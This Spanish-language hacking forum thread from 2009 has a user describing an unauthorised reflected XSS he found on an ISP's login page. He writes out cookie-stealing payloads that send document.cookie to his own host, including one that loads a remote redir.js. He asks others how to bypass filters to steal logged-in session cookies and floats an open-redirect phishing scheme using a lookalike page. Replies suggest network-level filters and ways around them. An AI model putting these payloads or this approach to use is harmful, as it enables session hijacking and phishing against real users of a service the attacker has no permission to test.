Ayuda XSS?

Iniciado por toxeek, 10 Junio 2009, 15:54 PM

0 Miembros y 1 Visitante están viendo este tema.

toxeek

Que tal amigos del Hacking Web?!

Bueno, pues resulta que antes de ayer cai en una vulnerabilidad tipo XSS en la pagina de una ISP.

Bien, yo ESTABA LOGUED OUT, y se me ocurrio poner algo como
..vari="><script>alert();</script>

Bien, se ejecuto con ese sencillisimo XSS. Ahi pense .. pero que **** de filtros tiene, no?
Pues nada, me creo un dominio en un Hosting gratuito PHP.
Ahi pues pongo uno de los tipicos scripts en php para robar cookies y para que cree el archivo de texto. Le doy los permisos necesarios y me dirijo de nuevo a la web del ISP..

...vari="><script>document.location='http://myfirst_hosting/mystuff/pred.php?x=' +escape(document.cookie);</script>

Bien, pues nada. Se ve que para mandar por GET si filtraban algo, LOGUED OUT.

Pues hago lo segundo ( creo ! ) que se suele hacer en estos casos para saltar esto. O sea, me creo otro hosting gratuito y ahi pongo mi script en javascript: ( redir.js ):

location.href = 'http://myfirst_hosting.com/mystuff/pred.php?x=' +escape(document.cookie);

Ahora, en la ISP:

...vari="><script src='http://mysecond_hosting/mystuff/redir.js'>

Ahora SI comienzo a recibir las cookies en el archivo de texto que crea el script en php.
El caso es que TODO esto lo hice logued out, asi que las cookies de sesion no las mandaba.
Ahora .. que rayos estaba haciendo?? Tenia que loguearme e intentarlo logueado no??

Pues bien, el caso es que el XSS esta en la pagina de loguin. Una vez que me logueo, si me mando un mail ( por ejemplo ) a mi Inbox ( soy user ) de la ISP y pincho sobre est ( con el <script src > ) ya no funciona.

Se me ocurrio la tonteria de hacer un hipervinculo con el link que te desloguea y despues, en una variable dentro de el link de redireccion de log out redirecciono a la pagina de login con la variable vulnerable pero.. da igual! ya estoy logued off de nuevo y las cookies de sesion ya no se encuentran.

Entonces no habia mas remedio que buscar, una vez logueado, un variable por GET facilona y que me resultara en un XSS. Bien, la encontre pero.. pero los filtros son bien ****.

O sea, los filtros parecen estar ON cuando estoy logueado y
los filtros paracen estar OFF cuando estoy deslogueado..

Pues esa variable via GET, si le introducia pues de nuevo
...vari="><script>aler(213);</script>
no sanizaba ningun metacaracter, por lo cual se producia el alert.

Ahora, de ahi a que pudiera ejecutar otra cosa ( jugar con el DOM para mandarme las cookies, con img src, script src... nada .. ) nada de nada.

He probado mil tipos de saltos de filtros, incluyendo todos los de RSnake!

Esta page tiene intentos de saltos de filtrado curiosos:

http://www.xssing.com/index.php?x=1

Pero nada, encodeando y siempre teniendo en cuenta la posible entrada con ' "><.. ' nada.

Quisiera tomar consejo de los mas experimentados en estos casos y que me dijeran que puede estar ocurriendo ( ya que logued out si, logued on no ) y si hay algun modo de encontrar info que me lo aclare.


Muchas Gracias por vuestra atencion,

averno.


P.D: Suerte.


  /**** MODIFIKO ****/

Y.. no creo que tenga nada que ver con el same domain policy de javascript, ya que no es el caso.

  /**** MODIFIKO2 ****/

Ah... y si Admin/CoAdmins tienen mi IP, pues ya sabran de que page/ISP se trata  ;-)

ya siendo un XSS reflejado no tendria por que haber problemas con restricciones de cross-domain policies..

  /**** MODIFIKO3 ****/

Ah, y si es "vulnerable" ( he rozado uno ) a XSRFs, y he pensado alguno que otro. O sea, con la pagina de logout hay una variable "dest" que redirecciona a la pagina que yo quiera ( solo con presionar un link ). Por ello, un mail y phishing estan al alcance proximo ( que no voy ni a empezar a hacerlo ). /* Ya se, no es estrictamente XSRF */

Si le pones en la redireccion una page igual a la de la ISP, y con un "por favor, loguea de nuevo para no perder sesion" o algo asi, poca gente se detendra en que en la URL ha cambiado solo una letra, por ejemplo.
Pero, es que suena tan mal..

Y.. creo que HttpOnly en las cookies no esta definido. Es la impresion que tengo tras haber revisado/sniffado las cookies.... Asi que ( document.cookie ) iria bien aqui..

/* Nota:
Y que pasa con Firefox 3.0.10 .. por que no soporta HttpOnly cookies?? */

http://www.owasp.org/index.php/HTTPOnly

  /**** MODIFIKO4 ****/

Y no me suelo dedicar a estas cosas! Solo de vez en cuando que me aburro y prueba cosas via Web. Todo no va a ser leer, no. Hay q hacer el tonto a veces.
"La envidia es una declaración de inferioridad"
Napoleón.

sirdarckcat

escribiste demasiado y no entendi en que necesitabas ayuda..
que es exactamente lo que quieres hacer con el xss?

toxeek


Que tal.

Citarescribiste demasiado y no entendi en que necesitabas ayuda

Bueno, eso es algo que me suele ocurrir. Escribo/hablo demasiado, y casi nadie me entiende :______________________)

De todas maneras lo que queria era mas que nada saber por que cuando estoy deslogueado los filtros no estan activos, y cuando me logueo si. Mas en concreto, que clase de filtros pueden haber en ese contexto y como sobrepasarlos.


Saludos.
"La envidia es una declaración de inferioridad"
Napoleón.

Azielito

y no haz visto si cuando no estas logeado vas por HTTP y cuando estés logeado va por HTTPS, o va a otro servidor, con mas "seguridad" [mod_security o algun otro firewall, ids, blablabla] ???

toxeek

#4
Que tal.

Bueno, todo ( no logueado y logueado ) va por https.

Para hacer mejor hincapie en la pregunta de sdc, quiero aniadir que lo que quiero es simplemente el robo de cookies.
Pero con cosas que puse como
Citar
location.href = 'http://myfirst_hosting.com/mystuff/pred.php?x=' +escape(document.cookie);

Eso quedaba claro, no?

Saludos.

  /**** MODIFIKO ****/

No! Miento como un cosaco.
Bueno, tampoco miento tanto. Hay "zonas" securizadas por SSL/TLS, otras no.
De todas maneras me temo que mucho no tiene que ver..

Si que es cuando lo intento por http que filtra. Con https no hay filtrado :__).
Ahora, yo el link que me envio es con https, y si filtra.
Voy muy muy pegado en XSS..

Ahora, me pueden explicar como puede interferir SSL/TLS ( capa de Transporte ) con XSS ( capa de Aplicacion ) ?? Gracias.

P.D: lo unico que se me ocurre es que, como la data va cifrada, los filtros no la "procesan" y por ello solo van en http que si la pueden "procesar"?


  /**** MODIFIKO ****/

Es mas, al momento de loguearme ( https, que no filtra; pues si intento con http /* sin estar logueado, claro */  si que filtra ) si intento el XSS si va.
Bien, ahora ya estoy logueado, y permanezco en esa misma sesion y momento en https. Solo se cambia a http si presiono un link una vez logueado.

Pero como digo, habiendome logueado y estando aun en https, intento el mismo XSS con la misma variable y nada.
"La envidia es una declaración de inferioridad"
Napoleón.

sirdarckcat

hay filtros de xss a nivel red.. es muy probable que eso sea lo que esta pasando.

solo cambia el ataque a https, o.. podrias encontrar la manera de burlar el filtro..aunque eso podria ser un poco complicado.

Saludos!!

toxeek


Que tal.

Gracias por contestar, sdc.

Ya probe por https, http.. y creo que llegue a la conclusion de que no se han dejado de lado la seguridad tanto como crei en un principio, al menos a nivel de Aplicacion y mas en concreto con XSS. COmo apunte si se podrian hacer "cosas" aprovechando algun que otro XSRF.

De todas maneras Mil Gracias!

Saludos.
"La envidia es una declaración de inferioridad"
Napoleón.